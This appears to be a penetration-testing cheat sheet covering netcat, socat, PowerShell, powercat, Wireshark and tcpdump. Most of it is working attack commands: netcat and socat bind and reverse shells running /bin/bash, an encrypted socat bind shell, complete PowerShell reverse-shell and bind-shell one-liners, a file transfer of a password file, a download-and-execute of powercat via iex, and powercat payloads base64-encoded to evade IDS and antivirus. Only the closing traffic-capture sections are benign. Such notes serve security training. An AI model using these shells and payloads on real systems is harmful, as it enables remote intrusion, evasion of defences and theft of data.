Practical Tools

Netcat and Socat

Connect to a port:
```
$ nc -nv (ip) (port) $ socat - TCP4:<remote server's ip address>:<port>
```

Listen for connections on a port:
```
$ nc -nlvp (port) $ sudo socat TCP4-LISTEN:<port> STDOUT
```

Transfer and recive files:
```
$ nc -nv (server-ip) (port) < (file-to-upload)
$ nc -nlvp (port) > (output-filename)
```

```
$ sudo socat TCP4-LISTEN:<port>,fork file:secret_passwords.txt
$ socat TCP4:<ip>:<port> file:received_secret_passwords.txt,create
```

Bind shell:
```
$ nc -nlvp <port> -e /bin/bash
```

Reverse shell:
```
$ nc -nv <ip> <port> -e /bin/bash $ socat TCP4:10.11.0.22:443 EXEC:/bin/bash
```

Reverse shell listner for socat:
```
$ socat -d -d TCP4-LISTEN:443 STDOUT
```

Encrypted bind shell with socat

Use openssl to create a certificate:
```
$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
$ cat bind_shell.key bind_shell.crt > bind_shell.pem
```

Now we can start the encrypted listner:
```
$ sudo socat OPENSSL-LISTEN:<port>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
```

Then we can connect to it with:
```
$ socat - OPENSSL:<ip>:<port>,verify=0
```

PowerShell

Powershell file download:
```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<ip>/<file>',
'C\Users\<user>\Desktop\<filename-to-save>')"
```

Powershell reverse shell:

```
powershell -c "$client = New-Object
System.Net.Sockets.TCPClient('<ip>',<port>);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush();}$client.Close()"
```

Powershell bind shell:

```
powershell -c "$listener = New-Object
System.Net.Sockets.TcpListener('0.0.0.0',<port>);$listener.start();$client =
$listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>
';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush()};$client.Close();$listener.Stop()"
```

Powercat

Powercat is a clone of Netcat written in powershell. We can load the script using a powershell feature called dot sourcing:

```
PS C:\Users\Username> . .\powercat.ps1
```

You can also download it using the iex cmdlet:

```
iex (New-Object System.Net.Webclient).DownloadString(
'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
```

Powercat file transfer to server:

```
powercat -c <ip> -p <port> -i C:\where\to\save\file\filename
```

Powercat bind shell:

```
powercat -l -p 443 -e cmd.exe
```

Powercat can also be used to create payloads. Here is how to use powercat to create a stand alone reverse shell script:

```
powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1
```

We can also create base64 encoded payloads that can help to evade IDS and antivirus:

```
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
```

To run this we can use the -E flag with powershell, but we need to pass in the string directly:

```
powershell.exe -E ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AM...
```

Wireshark

Wireshark can be used to capture and view network traffic. You can filter what is captured, and then refine your search after with display filters. You can also follow tcp streams to view the full data of a session.

Tcpdump

Tcpdump is similar to wireshark, but it is a CLI tool. You can view pcaps files with the -r flag (the X flag shows the packet data, and the A flag shows ascii data):

```
$ sudo tcpdump -r -X <filename>.pcap
```

You can also filter the results with other unix tools to get a better understanding of the data. This command will filter out the ip addresses and sort them by the number of times they appear in the data:

```
$ sudo tcpdump -r password_cracking_filtered.pcap | awk -F" " '{print $5}' | sort | uniq -c |
head
```

There are also other flags you can use with tcpdump to better filter data, such as `src host <ip>`, `src dest <ip>`, `port <port>`. You can also filter headers with `tcp[tcpflag]`:

```
$ tcpdump 'tcp[tcpflags] == tcp-ack or tcp[tcpflags] == tcp-syn' -r -A <filename>.pcap
```